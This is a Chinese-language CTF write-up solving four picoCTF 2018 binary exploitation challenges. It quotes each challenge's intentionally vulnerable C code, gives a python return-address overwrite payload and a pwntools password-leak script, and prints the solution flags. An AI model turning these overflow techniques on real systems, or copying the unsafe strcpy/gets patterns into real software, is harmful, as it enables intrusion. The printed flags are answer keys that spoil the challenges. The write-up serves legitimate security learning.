picoCTF 2018 – BinaryExploitation

題目: Buffer Overflow 0

下載code用sublime開啟看一下內容,code內容如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}
void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}
int main(int argc, char **argv){
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

試著run, 發生error

忘了可能是要在server上面才行
進入ctf網站的shell看看, cd到題目指定路徑

裡面有個檔案叫flag.txt , 當然看了一下發現不能看

執行vuln 跳出說this program takes 1 argument

就是說你要給它一個參數

看起來你給他多少值, 就會回傳你給的值,

從code的最後一段看起來也是這樣沒錯

那因為題目是buffer overflow
注意到code中有

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

:::info
Strcpy 是C語言的函式之一,來自 C語言標準函式庫,定義於 string.h,它可以複製以 null 為結束字元的記憶體區塊到另一個記憶體區塊內。
:::

將輸入的參數加長, 發現給到夠長的char後就會overflow給flag

:::info
The vuln function immediately captured my attention.

Because strcpy doesn’t check the length of the buffers, it can easily cause a buffer overflow.

Let’s strcpy more that 16 bytes into the buf buffer to trigger the buffer overflow.

That will cause a SIGSEGV signal that calls sigsegv_handler, and the handler function with print out the flag for us:
:::

picoCTF{ov3rfl0ws_ar3nt_that_bad_b49d36d2}

題目: Buffer Overflow 1

到shell的 /problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba

Hint提到要注意Big Endian vs Little Endian
google一下跟位元組順序似乎有關
Big-Endian 與 Little-Endian 的差異與判斷程式碼

:::success
小小備註一下
0x 開頭的意思就是十六進位
所以0x54
就是16的1次方×5 + 16的0次方×4

然後16進制需要4個bits表示
1個位元組(Byte)可以表示成2個連續的16進位數字
:::

第二題的code如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(buf,FLAGSIZE,f);
  printf(buf);
}
void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Please enter your string: ");
  vuln();
  return 0;
}

setvbuf()是內建的涵數,詳細用法內容請參考下列網頁
setvbuf() – C語言庫函數
C 库函数 – setvbuf()

:::info
題目中的setvbuf
setvbuf(stdout, NULL, _IONBF, 0);


第一個參數為file指向,表示指向stdout


buffer為這是用戶分配的緩衝區。
設置為NULL,該函數會自動分配一個指定大小的緩衝區。


使用Mode為_IONBF
表示No buffering: 不使用緩衝區。
每個I/O操作,儘快寫入。緩衝區和大小的參數將被忽略。


也就是後面一個參數size會被忽略。

:::

登入shell執行程式看看,回傳結果如下

測試一下輸入的東西, get_return_address()會傳回甚麼.
看起來如果沒有buffer overflow,
會傳回0x80486b3,應該是main的address

如果發生buffer overflow,我們則可以控制,
目的就是要讓它導向win(),才可以print flag

there’s a clear buffer overflow with the classic gets call. The gets call is dangerous because it copies any number of bytes you input which will overwrite memory that you otherwise shouldn’t be able to write to.

這題主要問題在於gets函式overflow問題

看一下題目code vuln函式

#define BUFSIZE 32
#define FLAGSIZE 64
void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

利用objdump去找到win在記憶體中的位址

objdump -D ./vuln | grep "win"

可以找到位置是在0x080485cb

我們嘗試看看在程式中輸入a-z
abcdefghijklmnopqrstuvwxyz

發現會jump to 0x80486b3
發現這樣其實沒有overflow 難怪定不到位置

改成用python輸入
我們直接塞入2個a-z

python -c "print('abcdefghijklmnopqrstuvwxyz'*2)" | ./vuln

返回內容0x76757473
利用ascii可得到是vuts

所以如果我們要跳到win()這個function (位置0x080485cb)
只要把stuv改成cb 85 04 08就可以了

程式改成

python -c "print('abcdefghijklmnopqrstuvwxyz'+'abcdefghijklmnopqr\xcb\x85\x04\x08wxyz')" | ./vuln

成功拿到flag
picoCTF{addr3ss3s_ar3_3asy56a7b196}

題目: leak-me

連線過去
nc 2018shell.picoctf.com 38315

提示有說name的長度

:::success
存在off-by-one錯誤
:::

查看code
puts 是根據x00來判斷字元的末端
這邊set給name的大小為256
所以假設我們塞滿了256個A話
會導致最後一個\n沒有被讀取
而導致puts(name)時會把下面的內容(也就是pasword)一起輸出

噴出了一段
a_reAllY_s3cuRe_p4s$word_f85406

再看一下code
剛剛噴出來的東西
其實是fgets(password, sizeof(password), file);
也就是驗證的password

所以我們再隨便輸入一次name
密碼輸入剛剛的內容
就可以得到flag
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_0f7ec3c0}

參考一下別人寫的
多執行幾次 偶爾會失敗

from pwn import *
NAME_BUFFER_LENGTH = 256
def login(name, password):
    r = remote("2018shell.picoctf.com", 38315)
    r.sendlineafter("What is your name?", name)
    out = r.recv(timeout = 5)
    r.sendline(password)
    return r.recvall()

leak = login("A" * NAME_BUFFER_LENGTH, "Fake Password")
password = leak.split(",")[1].replace("Incorrect Password!", "").rstrip()
log.info("Password: {}".format(password))
print(login("Fake Name", password))

題目: shellcode

要寫shellcode啦~
當然也是可以找別人的shellcode

code內容滿短的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
  gets(buf);
  puts(buf);
}
int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  char buf[BUFSIZE];
  puts("Enter a string!");
  vuln(buf);
  puts("Thanks! Executing now...");
  ((void (*)())buf)();
  return 0;
}

注意到 BUFSIZE 148

去執行一下程式
到目錄/problems/shellcode_2_0caa0f1860741079dd0a66ccf032c5f4

可以利用file跟checksec確認一些內容

寫一個exploit利用ssh連線過去取得shell
記得程式碼中的密碼要改掉

取得flag

picoCTF{shellc0de_w00h00_8b811b44}

有其他更短的code解答
不過他們說明上說在Server上執行
但是我測試了一下在server上面沒有權限新增檔案阿

發佈留言